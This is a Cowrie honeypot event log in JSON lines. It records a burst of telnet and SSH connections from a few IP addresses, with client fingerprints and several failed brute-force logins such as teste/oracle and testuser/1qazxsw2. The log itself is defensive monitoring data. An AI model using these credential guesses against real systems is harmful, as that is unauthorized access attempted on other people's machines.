{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33344,"dst_ip":"159.203.135.109","dst_port":23,"session":"b73213f1c5c7","protocol":"telnet","message":"New connection: 192.119.108.58:33344 (159.203.135.109:23) [session: b73213f1c5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:56.841394Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33346,"dst_ip":"159.203.135.109","dst_port":23,"session":"201ae5094070","protocol":"telnet","message":"New connection: 192.119.108.58:33346 (159.203.135.109:23) [session: 201ae5094070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:56.845998Z"}
{"eventid":"cowrie.session.closed","duration":31.202068328857422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:56.924604Z","src_ip":"104.245.105.2","session":"b42a5b563dc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8796226978302,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:57.215046Z","src_ip":"192.119.108.58","session":"e42f279ecd47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47326636314392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:57.232861Z","src_ip":"192.119.108.58","session":"a3d3f73783ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93577790260315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:57.311236Z","src_ip":"192.119.108.58","session":"bae074727f1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33680,"dst_ip":"159.203.135.109","dst_port":23,"session":"835a0f81c9ab","protocol":"telnet","message":"New connection: 192.119.108.58:33680 (159.203.135.109:23) [session: 835a0f81c9ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:57.697555Z"}
{"eventid":"cowrie.session.closed","duration":30.853630781173706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:58.446837Z","src_ip":"192.119.108.58","session":"224551fe057c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70533061027527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:59.278701Z","src_ip":"192.119.108.58","session":"d1541783e098","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364114999771118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:17:59.533851Z","src_ip":"192.119.108.58","session":"1abc3ea7b51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33720,"dst_ip":"159.203.135.109","dst_port":23,"session":"e53b827522c5","protocol":"telnet","message":"New connection: 192.119.108.58:33720 (159.203.135.109:23) [session: e53b827522c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:00.735668Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34550,"dst_ip":"159.203.135.109","dst_port":23,"session":"179481a2b598","protocol":"telnet","message":"New connection: 192.119.108.58:34550 (159.203.135.109:23) [session: 179481a2b598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:02.737149Z"}
{"eventid":"cowrie.session.closed","duration":30.777666091918945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:03.061813Z","src_ip":"192.119.108.58","session":"675326e83f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":53308,"dst_ip":"10.17.0.5","dst_port":22,"session":"940e50be82db","protocol":"ssh","message":"New connection: 124.18.182.99:53308 (10.17.0.5:22) [session: 940e50be82db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:04.917640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:04.922520Z","src_ip":"124.18.182.99","session":"940e50be82db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.103753328323364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:04.928047Z","src_ip":"192.119.108.58","session":"7b989cb05c6f","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:05.092927Z","src_ip":"124.18.182.99","session":"940e50be82db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.346362113952637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:05.172602Z","src_ip":"192.119.108.58","session":"40bf10efe0b7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"teste","password":"oracle","message":"login attempt [teste/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:05.801969Z","src_ip":"124.18.182.99","session":"940e50be82db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:06.976473Z","src_ip":"124.18.182.99","session":"940e50be82db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.335152626037598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:08.412251Z","src_ip":"192.119.108.58","session":"a8f32d72a7de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38630,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a3322516fc7","protocol":"telnet","message":"New connection: 192.119.108.58:38630 (159.203.135.109:23) [session: 8a3322516fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:12.213389Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38712,"dst_ip":"159.203.135.109","dst_port":23,"session":"05cbd1077b52","protocol":"telnet","message":"New connection: 192.119.108.58:38712 (159.203.135.109:23) [session: 05cbd1077b52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:12.367595Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39276,"dst_ip":"159.203.135.109","dst_port":23,"session":"459291622b08","protocol":"telnet","message":"New connection: 192.119.108.58:39276 (159.203.135.109:23) [session: 459291622b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:13.827761Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40406,"dst_ip":"159.203.135.109","dst_port":23,"session":"e80c68339a9b","protocol":"telnet","message":"New connection: 192.119.108.58:40406 (159.203.135.109:23) [session: e80c68339a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:14.290326Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45746,"dst_ip":"159.203.135.109","dst_port":22,"session":"135f9cf52534","protocol":"ssh","message":"New connection: 141.11.21.145:45746 (159.203.135.109:22) [session: 135f9cf52534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:14.907622Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:14.988715Z","src_ip":"141.11.21.145","session":"135f9cf52534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45754,"dst_ip":"159.203.135.109","dst_port":22,"session":"1113ffe2eda6","protocol":"ssh","message":"New connection: 141.11.21.145:45754 (159.203.135.109:22) [session: 1113ffe2eda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:15.064191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:15.069129Z","src_ip":"141.11.21.145","session":"1113ffe2eda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:15.148611Z","src_ip":"141.11.21.145","session":"1113ffe2eda6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yourh","password":"dmiip2020","message":"login attempt [yourh/dmiip2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:15.394401Z","src_ip":"141.11.21.145","session":"1113ffe2eda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:16.476752Z","src_ip":"141.11.21.145","session":"1113ffe2eda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.617287397384644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:19.233703Z","src_ip":"192.119.108.58","session":"d104c7c5cb48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42138,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0148b8d8abc","protocol":"telnet","message":"New connection: 192.119.108.58:42138 (159.203.135.109:23) [session: b0148b8d8abc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:19.521208Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42480,"dst_ip":"159.203.135.109","dst_port":23,"session":"458ce3e3fb2c","protocol":"telnet","message":"New connection: 192.119.108.58:42480 (159.203.135.109:23) [session: 458ce3e3fb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:20.624056Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42848,"dst_ip":"159.203.135.109","dst_port":23,"session":"a654518ee9cc","protocol":"telnet","message":"New connection: 192.119.108.58:42848 (159.203.135.109:23) [session: a654518ee9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:21.659984Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42874,"dst_ip":"159.203.135.109","dst_port":23,"session":"6caf5eebc8c8","protocol":"telnet","message":"New connection: 192.119.108.58:42874 (159.203.135.109:23) [session: 6caf5eebc8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:21.704458Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42824,"dst_ip":"159.203.135.109","dst_port":23,"session":"619b7d72aecd","protocol":"telnet","message":"New connection: 192.119.108.58:42824 (159.203.135.109:23) [session: 619b7d72aecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:24.617053Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43708,"dst_ip":"159.203.135.109","dst_port":23,"session":"6672d52729af","protocol":"telnet","message":"New connection: 192.119.108.58:43708 (159.203.135.109:23) [session: 6672d52729af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:24.622150Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42956,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fc8f757cfc2","protocol":"telnet","message":"New connection: 192.119.108.58:42956 (159.203.135.109:23) [session: 1fc8f757cfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:24.884240Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":44984,"dst_ip":"159.203.135.109","dst_port":23,"session":"55f2442382c4","protocol":"telnet","message":"New connection: 192.119.108.58:44984 (159.203.135.109:23) [session: 55f2442382c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:26.315098Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45244,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb991325c229","protocol":"telnet","message":"New connection: 192.119.108.58:45244 (159.203.135.109:23) [session: bb991325c229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:26.753373Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45246,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cebd4f8b4e9","protocol":"telnet","message":"New connection: 192.119.108.58:45246 (159.203.135.109:23) [session: 4cebd4f8b4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:26.757238Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45302,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8bb1aab3dcd","protocol":"telnet","message":"New connection: 192.119.108.58:45302 (159.203.135.109:23) [session: c8bb1aab3dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:26.915179Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45310,"dst_ip":"159.203.135.109","dst_port":23,"session":"2771925ceda8","protocol":"telnet","message":"New connection: 192.119.108.58:45310 (159.203.135.109:23) [session: 2771925ceda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:26.939717Z"}
{"eventid":"cowrie.session.closed","duration":30.315584897994995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:27.161531Z","src_ip":"192.119.108.58","session":"201ae5094070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45084,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eb9c766a43b","protocol":"telnet","message":"New connection: 192.119.108.58:45084 (159.203.135.109:23) [session: 0eb9c766a43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:27.433394Z"}
{"eventid":"cowrie.session.closed","duration":30.659550428390503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:27.500850Z","src_ip":"192.119.108.58","session":"b73213f1c5c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.945537090301514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:27.722029Z","src_ip":"192.119.108.58","session":"fdcc147b0b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029451370239258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:27.827747Z","src_ip":"192.119.108.58","session":"628ed3a8cf88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41787600517273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:28.115319Z","src_ip":"192.119.108.58","session":"835a0f81c9ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45464,"dst_ip":"159.203.135.109","dst_port":23,"session":"3771eb5b2a7f","protocol":"telnet","message":"New connection: 192.119.108.58:45464 (159.203.135.109:23) [session: 3771eb5b2a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:28.289060Z"}
{"eventid":"cowrie.session.closed","duration":30.551658153533936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:31.287163Z","src_ip":"192.119.108.58","session":"e53b827522c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46704,"dst_ip":"159.203.135.109","dst_port":23,"session":"8401f80f77f9","protocol":"telnet","message":"New connection: 192.119.108.58:46704 (159.203.135.109:23) [session: 8401f80f77f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:31.319607Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46014,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7aee4c71f86","protocol":"telnet","message":"New connection: 192.119.108.58:46014 (159.203.135.109:23) [session: e7aee4c71f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:31.499915Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":41440,"dst_ip":"159.203.135.109","dst_port":22,"session":"32a4a4d541b0","protocol":"ssh","message":"New connection: 223.17.5.126:41440 (159.203.135.109:22) [session: 32a4a4d541b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:32.403206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:32.415828Z","src_ip":"223.17.5.126","session":"32a4a4d541b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:32.630921Z","src_ip":"223.17.5.126","session":"32a4a4d541b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.459484338760376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:33.196501Z","src_ip":"192.119.108.58","session":"179481a2b598","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"1qazxsw2","message":"login attempt [testuser/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:33.493737Z","src_ip":"223.17.5.126","session":"32a4a4d541b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:34.716599Z","src_ip":"223.17.5.126","session":"32a4a4d541b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37534,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cea4ea3ead2","protocol":"telnet","message":"New connection: 161.132.53.68:37534 (159.203.135.109:23) [session: 1cea4ea3ead2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:35.073888Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35768,"dst_ip":"159.203.135.109","dst_port":23,"session":"b330614b78ec","protocol":"telnet","message":"New connection: 161.132.53.68:35768 (159.203.135.109:23) [session: b330614b78ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:37.207153Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50360,"dst_ip":"159.203.135.109","dst_port":23,"session":"008d75048bc7","protocol":"telnet","message":"New connection: 192.119.108.58:50360 (159.203.135.109:23) [session: 008d75048bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:38.900609Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35776,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd0dd8bbe748","protocol":"telnet","message":"New connection: 161.132.53.68:35776 (159.203.135.109:23) [session: bd0dd8bbe748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:39.698720Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51308,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fac770f5ebe","protocol":"telnet","message":"New connection: 192.119.108.58:51308 (159.203.135.109:23) [session: 4fac770f5ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:18:40.699729Z"}
